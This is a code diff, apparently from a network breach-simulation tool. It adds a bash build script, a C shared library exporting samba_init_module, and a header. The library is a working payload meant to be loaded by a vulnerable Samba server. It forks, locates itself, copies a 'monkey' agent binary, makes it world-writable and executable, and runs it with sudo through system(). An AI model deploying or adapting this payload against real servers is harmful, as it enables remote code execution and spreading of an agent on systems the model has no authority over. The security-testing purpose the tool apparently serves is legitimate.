View File

@ -0,0 +1,3 @@
#!/usr/bin/env bash
gcc -c -Wall -Werror -fpic sc_monkey_runner.c
gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o

View File

@ -0,0 +1,160 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#include "sc_monkey_runner.h"
#ifdef __x86_64__
#define ARCH_IS_64
#endif
#ifdef _____LP64_____
#define ARCH_IS_64
#endif
#define LINE_MAX_LENGTH (2048)
#define MAX_PARAMETERS (30)
int samba_init_module(void)
{
#ifdef ARCH_IS_64
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
const char MONKEY_NAME[] = "monkey64";
const char MONKEY_COPY_NAME[] = "monkey64_2";
#else
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
const char MONKEY_NAME[] = "monkey32";
const char MONKEY_COPY_NAME[] = "monkey32_2";
#endif
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
const int ACCESS_MODE = 0777;
const char RUN_MONKEY_CMD[] = "sudo ./";
int found = 0;
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
char commandline[LINE_MAX_LENGTH] = {'\0'};
char* monkeyDirectory = NULL;
char* fileNamePointer = NULL;
FILE * pFile = NULL;
pid_t pid = 0;
int monkeySize = 0;
void* monkeyBinary = NULL;
struct stat fileStats;
pid = fork();
if (0 != pid)
{
// error or this is parent - nothing to do but return.
return 0;
}
// Find fullpath of running module.
pFile = fopen("/proc/self/maps", "r");
if (NULL == pFile)
{
return 0;
}
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
if (fileNamePointer != NULL) {
found = 1;
break;
}
}
fclose(pFile);
// We can't find ourselves in module list
if (0 == found)
{
return 0;
}
monkeyDirectory = strchr(modulePathLine, '/');
*fileNamePointer = '\0';
if (0 != chdir(monkeyDirectory))
{
return 0;
}
// Write file to indicate we're running
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
if (NULL == pFile)
{
return 0;
}
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
fclose(pFile);
// Read commandline
pFile = fopen(COMMANDLINE_FILENAME, "r");
if (NULL == pFile)
{
return 0;
}
// Build commandline
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1);
strncat(commandline, " ", 1);
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
fclose(pFile);
if (0 != stat(MONKEY_NAME, &fileStats))
{
return 0;
}
monkeySize = (int)fileStats.st_size;
// Copy monkey to new file so we'll own it.
pFile = fopen(MONKEY_NAME, "rb");
if (NULL == pFile)
{
return 0;
}
monkeyBinary = malloc(monkeySize);
if (NULL == monkeyBinary)
{
return 0;
}
fread(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
pFile = fopen(MONKEY_COPY_NAME, "wb");
if (NULL == pFile)
{
free(monkeyBinary);
return 0;
}
fwrite(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
free(monkeyBinary);
// Change monkey permissions
if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE))
{
return 0;
}
system(commandline);
return 0;
}
int init_samba_module(void)
{
return samba_init_module();
}

View File

@ -0,0 +1,7 @@
#ifndef monkey_runner_h__
#define monkey_runner_h__
extern int samba_init_module(void);
extern int init_samba_module(void);
#endif // monkey_runner_h__

View File

@ -20,7 +20,7 @@ MONKEY_DOWNLOADS = [
},
{
'type': 'linux',
'filename': 'monkey-linux-32',
'filename': 'monkey-linux-64',
},
{
'type': 'windows',